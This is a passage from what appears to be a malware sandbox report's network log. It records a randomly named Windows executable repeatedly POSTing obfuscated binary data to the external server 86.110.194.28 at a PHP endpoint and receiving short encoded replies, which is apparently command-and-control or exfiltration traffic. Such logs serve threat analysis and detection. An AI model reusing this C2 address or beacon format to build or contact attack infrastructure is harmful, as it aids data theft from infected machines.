Jan 3, 2025 18:28:03.549772024 CET	2576	OUT	Data Raw: 5b 57 5e 5a 58 59 50 51 54 5b 59 5a 5b 53 57 58 5f 56 5a 5b 52 53 50 48 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [W^ZXYPQT[YZ[SWX_VZ[RSPH_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&+!#:0%<0C>2X$$&%=5%U#?$$$,'<#Y'$X.1
Jan 3, 2025 18:28:03.874629974 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:04.007333040 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	57172	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:04.129352093 CET	316	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue
Jan 3, 2025 18:28:04.487148046 CET	2576	OUT	Data Raw: 5b 55 5b 5b 58 5e 50 50 54 5b 59 5a 5b 51 57 53 5f 52 5a 55 52 50 50 46 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [U[[X^PPT[YZ[QWS_RZURPPF_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%(>_!0&<0A>8.[04['/5$57'*<3/#(#Y'$X.9
Jan 3, 2025 18:28:04.845910072 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:04.984230995 CET	151	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	57179	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:05.113848925 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:05.471652985 CET	2576	OUT	Data Raw: 5b 53 5b 5c 58 59 55 5a 54 5b 59 5a 5b 53 57 5d 5f 5d 5a 5e 52 54 50 40 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [S[\XYUZT[YZ[SW]_]Z^RTP@_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&A?=^6R%Z;(+_3=%Y"5$4<0)4A0(#Y'$X.1
Jan 3, 2025 18:28:05.840491056 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:05.974874020 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	57185	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:06.101088047 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:06.455930948 CET	2576	OUT	Data Raw: 5b 51 5b 5b 5d 5d 50 58 54 5b 59 5a 5b 56 57 58 5f 5d 5a 5a 52 56 50 42 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [Q[[]]PXT[YZ[VWX_]ZZRVPB_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%+-6!982<8X'49]'?&!!T!;<')4E0?<9#Y'$X.%
Jan 3, 2025 18:28:06.779438972 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:06.910748005 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	57193	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:07.035943031 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:07.393573046 CET	2576	OUT	Data Raw: 5b 55 5b 5d 58 5f 50 5d 54 5b 59 5a 5b 51 57 5b 5f 51 5a 5a 52 5d 50 43 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [U[]X_P]T[YZ[QW[_QZZR]PC_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%)-=#'2<=(-07%)6B5W 8<\%*'0Y#?#Y'$X.9
Jan 3, 2025 18:28:07.747220039 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:07.886703968 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	57201	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:08.021589041 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:08.377783060 CET	2568	OUT	Data Raw: 5b 5d 5e 5a 58 5d 50 50 54 5b 59 5a 5b 57 57 5d 5f 5c 5a 5c 52 53 50 48 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: []^ZX]PPT[YZ[WW]_\Z\RSPH_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&+>-!* T2<*5'49X29W!-V ;3''$,8S)9#Y'$X.9
Jan 3, 2025 18:28:08.745412111 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	57206	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:08.883624077 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2164 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:09.237185001 CET	2164	OUT	Data Raw: 5e 56 5b 5c 5d 59 50 5d 54 5b 59 5a 5b 52 57 5f 5f 5c 5a 55 52 55 50 44 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^V[\]YP]T[YZ[RW__\ZURUPD_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&B(>_"V2$@=*Y$B=[&5R 7>4 X%9#',#(9#Y'$X.5
Jan 3, 2025 18:28:09.566715002 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:09.698575020 CET	380	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 0d 1d 27 02 25 05 08 5c 28 2c 2f 58 27 20 2a 03 23 33 38 5d 2f 1e 2e 06 22 3c 3e 01 26 28 2f 0c 2b 3d 2d 1c 29 33 31 12 21 2e 2a 0c 29 20 28 5d 03 10 39 5a 3f 13 0d 58 29 07 2d 14 2d 19 30 04 27 27 06 5d 2b 23 31 51 25 2c 35 0e 36 03 0d 1e 3d 0d 26 07 24 3b 20 5a 2b 09 2b 13 30 07 20 54 0b 17 27 1e 26 30 20 03 26 01 21 11 29 0e 34 5c 30 03 26 09 21 2c 2a 57 23 17 2c 5f 2f 0e 0f 52 25 3b 3d 57 2b 3d 23 53 31 2a 22 59 24 01 2e 5c 23 0f 28 55 0d 34 57 50 Data Ascii: '%\(,/X' #38]/."<>&(/+=-)31!.) (]9Z?X)--0'']+#1Q%,56=&$; Z++0 T'&0 &!)4\0&!,W#,_/R%;=W+=#S1"Y$.\#(U4WP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	57207	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:09.005053043 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:09.362284899 CET	2576	OUT	Data Raw: 5e 52 5e 59 58 5a 55 5a 54 5b 59 5a 5b 5e 57 5e 5f 52 5a 55 52 53 50 49 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^R^YXZUZT[YZ[^W^_RZURSPI_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&@<.16: T1<*"$4)%/"P7Y0983?(9#Y'$X.
Jan 3, 2025 18:28:09.701730013 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:09.854325056 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	57213	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:09.973593950 CET	316	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue
Jan 3, 2025 18:28:10.330923080 CET	2576	OUT	Data Raw: 5e 56 5e 5a 5d 5a 55 58 54 5b 59 5a 5b 54 57 5c 5f 51 5a 54 52 56 50 41 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^V^Z]ZUXT[YZ[TW\_QZTRVPA_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&+"6:2</>"$\&%S54! 0]%);3(#Y'$X.-
Jan 3, 2025 18:28:10.662163019 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:10.796081066 CET	151	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	57222	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:10.926551104 CET	316	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue
Jan 3, 2025 18:28:11.284059048 CET	2576	OUT	Data Raw: 5b 54 5b 5c 5d 5d 55 5c 54 5b 59 5a 5b 5e 57 5f 5f 55 5a 5d 52 52 50 46 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [T[\]]U\T[YZ[^W__UZ]RRPF_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&(-)^#0V&? B)]2Z%76%<6"5Q#(,]$$&/ R?#Y'$X.
Jan 3, 2025 18:28:11.686403990 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:11.818752050 CET	151	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	57229	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:11.941740036 CET	316	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue
Jan 3, 2025 18:28:12.299685955 CET	2576	OUT	Data Raw: 5b 54 5e 5d 58 5c 50 58 54 5b 59 5a 5b 55 57 52 5f 52 5a 5d 52 50 50 45 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [T^]X\PXT[YZ[UWR_RZ]RPPE_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&(.2!98&/'*])09[1)Q!7)T7^(Y0:<@08R?#Y'$X.)
Jan 3, 2025 18:28:12.672605991 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:12.809467077 CET	151	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	57236	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:12.940507889 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:13.299685001 CET	2576	OUT	Data Raw: 5b 51 5b 5f 58 57 55 5d 54 5b 59 5a 5b 5e 57 5d 5f 57 5a 5e 52 53 50 43 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [Q[_XWU]T[YZ[^W]_WZ^RSPC_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%?=26)8%,@*;5''9]2?6B9!(%:'0,+#Y'$X.
Jan 3, 2025 18:28:13.653891087 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:13.788707018 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	57242	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:13.915440083 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:14.268413067 CET	2576	OUT	Data Raw: 5e 51 5b 58 58 5c 50 51 54 5b 59 5a 5b 53 57 58 5f 57 5a 5e 52 55 50 46 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^Q[XX\PQT[YZ[SWX_WZ^RUPF_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%(.!Z!&+);^'B!&Q648<\0*#$/$S?#Y'$X.1
Jan 3, 2025 18:28:14.619035959 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	57248	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:14.712093115 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2164 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:15.065299988 CET	2164	OUT	Data Raw: 5e 57 5e 58 58 5f 55 58 54 5b 59 5a 5b 56 57 53 5f 53 5a 5e 52 56 50 45 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^W^XX_UXT[YZ[VWS_SZ^RVPE_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%()#9$S2#>;$%%?)6- 8/%9<$?;(9#Y'$X.%
Jan 3, 2025 18:28:15.418776989 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:15.554208994 CET	380	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:15 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 0d 1d 24 5c 26 05 26 1e 3e 11 33 58 32 20 3d 12 21 30 20 17 3b 30 08 06 21 12 25 5f 31 05 3c 54 2b 04 35 1d 3f 0d 22 0f 34 3e 39 57 3c 30 28 5d 03 10 39 5a 28 2e 23 5b 29 3e 36 01 3a 09 02 07 25 37 20 58 3e 30 3e 0e 25 05 2a 56 36 04 23 52 2a 55 2d 5a 26 3b 2c 5a 28 0e 02 03 24 17 20 54 0b 17 24 08 27 33 3b 5b 27 28 00 01 2a 19 2b 01 33 3a 39 51 22 2c 31 0f 23 39 34 17 38 20 3a 0f 27 38 07 1c 3e 00 05 1d 25 04 3e 10 33 3b 2e 5c 23 0f 28 55 0d 34 57 50 Data Ascii: $\&&>3X2 =!0 ;0!%_1<T+5?"4>9W<0(]9Z(.#[)>6:%7 X>0>%V6#RU-Z&;,Z($ T$'3;['(*+3:9Q",1#948 :'8>%>3;.\#(U4WP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	57250	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:14.831765890 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2564 Expect: 100-continue Connection: Keep-Alive
